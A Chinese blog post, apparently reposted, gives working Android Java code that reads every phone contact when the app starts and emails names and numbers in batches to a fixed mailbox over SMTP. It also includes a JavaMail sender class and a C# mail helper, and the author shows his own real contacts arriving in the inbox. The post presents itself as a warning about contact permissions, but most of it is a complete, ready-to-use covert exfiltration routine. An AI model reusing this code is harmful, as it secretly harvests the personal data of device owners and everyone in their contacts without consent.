您好,登錄后才能下訂單哦!
最近上半年績效確認,又是C,我就不明白了,怎么才能得B,怎么才能得A。我去,不借書,不參加培訓,不加班就活該得C,那你招一群剛畢業(yè)的學生得了,剛畢業(yè)的學生干勁大,加班到半夜都沒問題。唉,不說了,這年頭不加班干完活都覺得不正常了。
大家還記得上篇文章么,看下圖。
今天的話我就是要在該App啟動的時候,將手機內存儲的所有聯(lián)系人通過郵件發(fā)送到指定的郵箱,怎么樣,夠狠吧。所以不是所有的app我們都給他開讀取手機信息的權限,否則就泄露個底朝天。我們先看一下發(fā)郵件,需要到網上下載這三個jar包,這三個jar包不好下,要么你去google官網下,要么在csdn下,或者干脆在本篇文章下,給大家點福利。
說到這個發(fā)郵件,類是別人寫的,我拿來以為能用,結果他媽的很多問題,壓根就發(fā)不了郵件。改了很多問題,查了一些資料,尼瑪才搞定。說到這里,我就想說那些寫博客的或者是抄博客的或者是轉載博客的,咋們做技術的要憑良心寫博客。不能不管三七二十一,就抄過來。這樣不但讓看你博客的人覺得你不專業(yè),而且還浪費每個看你博客的人的時間。你寫個博客,你文采不行,但是你把代碼最起碼寫的能正常運行,能達到該代碼能實現(xiàn)的功能吧。
好了,不說了。我們看一下代碼,我的設計是將聯(lián)系人信息全部讀取出來,然后通過多線程分批發(fā)送到指定郵箱。要說到多線程,大家肯定會想到Handler,handler會分發(fā)runable對象到主線程消息隊列中。當我們實例化一個Handler對象的時候,就默認與對它初始化的進程的消息隊列綁定。那么當線程有更新UI的操作話,我們就需要把數據消息作為一個Message對象發(fā)送到消息隊列中,然后,用Handler中的handlerMessge方法處理傳過來的數據信息,并操作UI。那么剛才說到分發(fā)runable對象到主線程隊列中,我們看一下Handler有哪些方法可以實現(xiàn)分發(fā)Runable對象(查API)。
我們今天使用的其實就是post方法,分發(fā)多個runable對象到消息隊列并執(zhí)行。說了這么多不如直接看代碼來得實在。
private void SyncContactUserInfo() { CustomRunable customeRunable; List<Map<String, Object>> tempPagedDataList = this.GetContactUserList(); List<Map<String, Object>> dataList = this.GetContactUserList(); int totalSize = dataList.size(); if (totalSize == 0) return; int threadCount = totalSize % PageSize == 0 ? totalSize / PageSize : totalSize / PageSize + 1; for (int i = 1; i <= threadCount; i++) { if (i == threadCount) { tempPagedDataList = dataList.subList((i - 1) * PageSize, (i - 1) * PageSize + totalSize % PageSize -1); } else { tempPagedDataList = dataList.subList((i - 1) * PageSize, PageSize * i - i); } customeRunable = new CustomRunable(tempPagedDataList, i); handler.post(customeRunable); } }
上節(jié)課我們已經寫過如何讀取手機聯(lián)系人了,所以這里就不在贅述。這段代碼其實就是把聯(lián)系人信息讀取出來,然后去分批發(fā)送。上面的代碼相信做過分頁的人都應該知道,需要注意的就是List<T>的subList方法,傳入start Index和end index就可以了,這里有點類似客戶端分頁。
在上面的代碼中我們看到了一個CustomRunable類,這個類是我自己定義的,如下
class CustomRunable implements Runnable { StringBuilder strBuilder = new StringBuilder(); List<Map<String, Object>> dataList; int index; public CustomRunable(List<Map<String, Object>> dataList, int index) { this.dataList = dataList; this.index = index; } public void run() { strBuilder.append("<html><body><table style='border:1px solid black'>"); strBuilder.append("<tr><th>姓名</th><th>手機號碼</th></tr>"); if (this.dataList != null && this.dataList.size() > 0) { for (Map<String, Object> data : dataList) { strBuilder.append("<tr>"); strBuilder.append("<td>"); strBuilder.append(data.get("UserName").toString()); strBuilder.append("</td>"); strBuilder.append("<td>"); strBuilder.append(data.get("UserPhoneNumber").toString()); strBuilder.append("</td>"); strBuilder.append("</tr>"); } } strBuilder.append("</table></body></html>"); MailSenderInfo mailSendInfo = BuildMailSendInfo("第" + index + "批手機號", strBuilder.toString()); SimpleMailSender.sendHtmlMail(mailSendInfo); } }
我定義了默認的構造函數,一個是聯(lián)系人手機號碼列表,一個是標示是第幾批。當我拿到這批手機號碼的時候,構造一個html格式的郵件,然后發(fā)送。郵件的標題是“第{0}批手機號碼”,郵件的內容就是第一列姓名,第二列手機號的一個html表格。其實這里的run方法,一旦這個runable對象被分發(fā)到隊列中,就會立即執(zhí)行run方法。
大家其實可能此時最關注的是發(fā)郵件的代碼,不妨就把最關鍵的類(SimpleMailSender)的代碼貼出來好了,然后完了如果大家想要的話可以在這篇文章的附件下載或者加入群“.net技術沖鋒舟(205217091)”。
package bruce.util.mail; import java.util.Date; import java.util.Properties; import javax.activation.CommandMap; import javax.activation.MailcapCommandMap; import javax.mail.Address; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.MessagingException; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; public class SimpleMailSender { /** * 以文本格式發(fā)送郵件 * * @param mailInfo * 待發(fā)送的郵件的信息 */ public static boolean sendTextMail(MailSenderInfo mailInfo) { // 判斷是否需要身份認證 MyAuthenticator authenticator = null; Properties pro = mailInfo.getProperties(); if (mailInfo.isValidate()) { // 如果需要身份認證,則創(chuàng)建一個密碼驗證器 authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); } // 根據郵件會話屬性和密碼驗證器構造一個發(fā)送郵件的session Session sendMailSession = Session .getInstance(pro, authenticator); try { // 根據session創(chuàng)建一個郵件消息 Message mailMessage = new MimeMessage(sendMailSession); // 創(chuàng)建郵件發(fā)送者地址 Address from = new InternetAddress(mailInfo.getFromAddress()); // 設置郵件消息的發(fā)送者 mailMessage.setFrom(from); // 創(chuàng)建郵件的接收者地址,并設置到郵件消息中 Address to = new InternetAddress(mailInfo.getToAddress()); mailMessage.setRecipient(Message.RecipientType.TO, to); // 設置郵件消息的主題 mailMessage.setSubject(mailInfo.getSubject()); // 設置郵件消息發(fā)送的時間 mailMessage.setSentDate(new Date()); // 設置郵件消息的主要內容 String mailContent = mailInfo.getContent(); mailMessage.setText(mailContent); // 發(fā)送郵件 Transport.send(mailMessage); return true; } catch (MessagingException ex) { ex.printStackTrace(); } return false; } /** * 以HTML格式發(fā)送郵件 * * @param mailInfo * 待發(fā)送的郵件信息 */ public static boolean sendHtmlMail(MailSenderInfo mailInfo) { // 判斷是否需要身份認證 MyAuthenticator authenticator = null; Properties pro = mailInfo.getProperties(); // 如果需要身份認證,則創(chuàng)建一個密碼驗證器 if (mailInfo.isValidate()) { authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); } // 根據郵件會話屬性和密碼驗證器構造一個發(fā)送郵件的session Session sendMailSession = Session .getInstance(pro, authenticator); try { // 根據session創(chuàng)建一個郵件消息 Message mailMessage = new MimeMessage(sendMailSession); // 創(chuàng)建郵件發(fā)送者地址 Address from = new InternetAddress(mailInfo.getFromAddress()); // 設置郵件消息的發(fā)送者 mailMessage.setFrom(from); // 創(chuàng)建郵件的接收者地址,并設置到郵件消息中 Address to = new InternetAddress(mailInfo.getToAddress()); // Message.RecipientType.TO屬性表示接收者的類型為TO mailMessage.setRecipient(Message.RecipientType.TO, to); // 設置郵件消息的主題 mailMessage.setSubject(mailInfo.getSubject()); // 設置郵件消息發(fā)送的時間 mailMessage.setSentDate(new Date()); // MiniMultipart類是一個容器類,包含MimeBodyPart類型的對象 Multipart mainPart = new MimeMultipart(); // 創(chuàng)建一個包含HTML內容的MimeBodyPart BodyPart html = new MimeBodyPart(); // 設置HTML內容 html.setContent(mailInfo.getContent(), "text/html; charset=utf-8"); mainPart.addBodyPart(html); // 將MiniMultipart對象設置為郵件內容 mailMessage.setContent(mainPart); // 發(fā)送郵件 MailcapCommandMap mc = (MailcapCommandMap)CommandMap.getDefaultCommandMap(); mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html"); mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml"); mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain"); mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed"); mc.addMailcap("message/rfc822;; x-java-content-handler=com.sun.mail.handlers.message_rfc822"); CommandMap.setDefaultCommandMap(mc); Transport.send(mailMessage); return true; } catch (MessagingException ex) { ex.printStackTrace(); } return false; } }
OK,這就是我修改后的版本,能直接用,文章的末尾我會給大家見證奇跡。這個類中,一個是發(fā)送文本郵件,一個是發(fā)送Html格式的郵件,也可以發(fā)附件。OK,其實調用的話就是構造一個MailSenderInfo對象。如下
private static MailSenderInfo BuildMailSendInfo(String mailSubject, String mailContent) { MailSenderInfo mailInfo = new MailSenderInfo(); mailInfo.setContent(mailContent); mailInfo.setFromAddress("Bruce.L.Li@163.com"); mailInfo.setMailServerHost("smtp.163.com"); mailInfo.setMailServerPort("25"); mailInfo.setPassword("********"); mailInfo.setSubject(mailSubject); mailInfo.setToAddress("******@qq.com"); mailInfo.setUserName("lilei1986XXXX@163.com"); mailInfo.setValidate(true); return mailInfo; }
在這里解釋一下這些方法
setContent:郵件內容
setFromAddress:發(fā)送者郵箱賬號
setMailServerHost:163郵箱
setMailServerPort:25
setPassword:用來驗證的郵箱密碼
setSubject:郵件標題
setToAddress:接收者的郵箱
setUserName:用來驗證的郵箱賬號
setValidate:如果為true,則會驗證setUserName和setPassword的用戶名和密碼。否則不會。
這里需要注意setUserName和setPassword必須是一個能登陸163郵箱的賬號和密碼。
其實這里和C#發(fā)Email差不多
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace CLUtility { public class EmailHelper { public static void SendEmail(string mailTitle, string mailContent, params string[] mailToAddress) { System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient(); client.Host = "smtp.ym.163.com";//使用163的SMTP服務器發(fā)送郵件 client.UseDefaultCredentials = true; client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network; client.Credentials = new System.Net.NetworkCredential("Bruce.XXX.XX@163.com", "*******"); System.Net.Mail.MailMessage Message = new System.Net.Mail.MailMessage(); Message.From = new System.Net.Mail.MailAddress("lilei1986abc@163.com"); foreach (var address in mailToAddress) { Message.To.Add(address); } Message.Subject = mailTitle; Message.Body = mailContent; Message.SubjectEncoding = System.Text.Encoding.UTF8; Message.BodyEncoding = System.Text.Encoding.UTF8; Message.Priority = System.Net.Mail.MailPriority.High; Message.IsBodyHtml = true; client.Send(Message); } } }
OK,最后,我們見證奇跡的時刻到了,先看163發(fā)件箱。大家看到了順序并不是按照1-9升序排列。
我們看一下發(fā)出的郵件內容
這些可都是我手機上的真實號碼。唉,對不起大家,不知道網易和騰訊是否對這些號碼感興趣呢。
最后我們再看看QQ郵箱是否已經收到郵件。
木有問題,收到了。我們看一下內容
OK,成功了,最后,哥們的博客是貨真價實的,測試機是小米3,看過這篇文章,你以后還敢隨便允許app訪問你的手機聯(lián)系人信息嗎。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。